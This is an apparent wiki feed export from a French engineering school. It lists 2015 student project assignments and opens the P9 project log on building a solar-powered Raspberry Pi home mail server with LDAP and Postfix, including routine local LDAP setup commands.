Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Convertisseur DC/DC pour réseau MTDC]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mehmet Ilter &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Philippe DELARUE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P2 Data Logger]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Hidéo VINOT&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015 12;00&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P4 Jukebox multi-pièces]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Jouy / Julien hérin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P9 Système d'hébergement domestique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Romain Libaert / Timothée Teneur &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:21, [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 22/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran Sekar &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,07:48, [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P11 Spectateur augmenté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Teresa Tumbragel &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Teresa Tumbragel-Rapport Spectateur Augmente.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P12 Capteurs enfouis pour vieillissement du béton]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; JULITA Alex &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Localisation dans le corps humain]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Matthieu Marcadet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:52, [[Fichier:Rapport_intermediaire_PFE_Marcadet.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P18 Meuble intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Kevin Colautti / Benjamin Lefort &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 14:44, [[Fichier:P18_pre_soutenance.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean Wasilewski &amp;amp; Pierre Letousey &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys / Alexandre Boé &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P20_ASSP.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Nuage pour sites Web]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jeremie Denechaud / Thibaut Scholaert &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02, [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P25 Architecture ROS pour des véhicules autonomes intelligents]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean-Michel Tournier / Cyril Smagghe &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent Coelen et Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,09:04, [[Fichier:P25-2015_Smagghe_Tournier_decembre.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P26 Robot de forgeage et d’usinage]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bertrand Yvernault / Louis Thebault &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 17:51&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P27 Robot de fraiseuse]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Flavien Royer / Maxime Morisse &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:06, [[Fichier:Rapport_Royer_Morisse.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P30 Thermostat connecté et intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; TISSOT Elise / TIRABY Céline &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Guillaume Renault / Alexandre Boé / Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;15/12/2015, 00:35, [[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P32 Récupération d'énergie pour balise BLE]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin Sultana &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Frédéric Giraud / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 13/12/2015, 19:31, [[Fichier:CR Miprojet_Sultana.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jérôme Bailet / Mehdi Zeggaï &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Laurent Grisoni / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 10:54, [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P35 Robot de test pour le sport de Golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Deborah Saunders &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:07&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Sandra HAGE CHEHADE / Thomas DANEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent COELEN / Rochdi MERZOUKI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Louis CHAUCHARD / Romain IMBERT &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:21&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P13 Plateforme expérimentation IOT]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; ROCHE François &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:37, [[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Implantation d'un filtre FIR-FX-LMS sur FPGA pour l'annulation de Bruit Acoustique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bown Alexander / Piat Valentin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Pilulier automatique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Manouk Simon / Corentin Duplouy &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26355</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26355"/>
				<updated>2016-02-04T10:15:11Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 18 (01/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
